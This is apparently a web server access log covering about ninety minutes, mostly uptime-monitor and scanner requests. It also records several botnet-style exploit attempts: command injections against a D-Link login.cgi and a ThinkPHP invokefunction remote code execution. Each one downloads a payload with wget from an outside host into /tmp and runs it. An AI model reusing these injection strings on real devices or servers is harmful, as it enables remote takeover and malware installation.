212.91.246.72 - - [29/Feb/2020:14:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [29/Feb/2020:14:17:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:14:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.184.149 - - [29/Feb/2020:14:20:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.128.255.134 - - [29/Feb/2020:14:22:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.128.255.134 - - [29/Feb/2020:14:25:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.89.144.131 - - [29/Feb/2020:14:26:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
80.128.255.134 - - [29/Feb/2020:14:26:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.128.255.134 - - [29/Feb/2020:14:26:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.166.118.152 - - [29/Feb/2020:14:26:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
80.128.255.134 - - [29/Feb/2020:14:27:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.128.255.134 - - [29/Feb/2020:14:27:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.128.255.134 - - [29/Feb/2020:14:28:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.128.255.134 - - [29/Feb/2020:14:28:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.128.255.134 - - [29/Feb/2020:14:30:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
201.238.155.63 - - [29/Feb/2020:14:30:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.248.140.96 - - [29/Feb/2020:14:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:14:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.128.255.134 - - [29/Feb/2020:14:33:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.196.65.85 - - [29/Feb/2020:14:33:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:14:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.82.94.2 - - [29/Feb/2020:14:35:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:14:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.185.158.168 - - [29/Feb/2020:14:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:14:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.65.85 - - [29/Feb/2020:14:37:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:14:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.221.105.7 - - [29/Feb/2020:14:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
82.221.105.7 - - [29/Feb/2020:14:42:32 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
82.221.105.7 - - [29/Feb/2020:14:42:32 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
82.221.105.7 - - [29/Feb/2020:14:42:33 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
82.221.105.7 - - [29/Feb/2020:14:42:33 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
212.91.246.72 - - [29/Feb/2020:14:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.101.228 - - [29/Feb/2020:14:46:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:14:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [29/Feb/2020:15:02:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:15:03:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [29/Feb/2020:15:03:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:15:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.228.96.170 - - [29/Feb/2020:15:04:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [29/Feb/2020:15:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.65.85 - - [29/Feb/2020:15:07:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
211.218.0.195 - - [29/Feb/2020:15:07:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
87.241.128.55 - - [29/Feb/2020:15:07:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.218.0.195 - - [29/Feb/2020:15:07:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:15:07:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [29/Feb/2020:15:07:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:15:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [29/Feb/2020:15:07:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
193.198.66.62 - - [29/Feb/2020:15:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:15:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.105.143.199 - - [29/Feb/2020:15:12:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
77.154.198.202 - - [29/Feb/2020:15:12:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
95.234.236.101 - - [29/Feb/2020:15:12:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:15:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.67.117.245 - - [29/Feb/2020:15:16:19 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:23 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:24 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:24 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:27 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:27 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:28 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
114.67.117.245 - - [29/Feb/2020:15:16:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:15:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.231.208.138 - - [29/Feb/2020:15:16:53 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:16:54 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:16:55 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:16:57 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:16:59 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:17:01 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:17:01 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:17:06 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
111.231.208.138 - - [29/Feb/2020:15:17:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:15:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.140.161.157 - - [29/Feb/2020:15:21:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:15:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.65.85 - - [29/Feb/2020:15:23:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:15:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.147.112.21 - - [29/Feb/2020:15:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:15:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.196.65.85 - - [29/Feb/2020:15:30:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:15:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.171.68.102 - - [29/Feb/2020:15:37:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:15:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.176.204 - - [29/Feb/2020:15:37:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:15:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:15:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
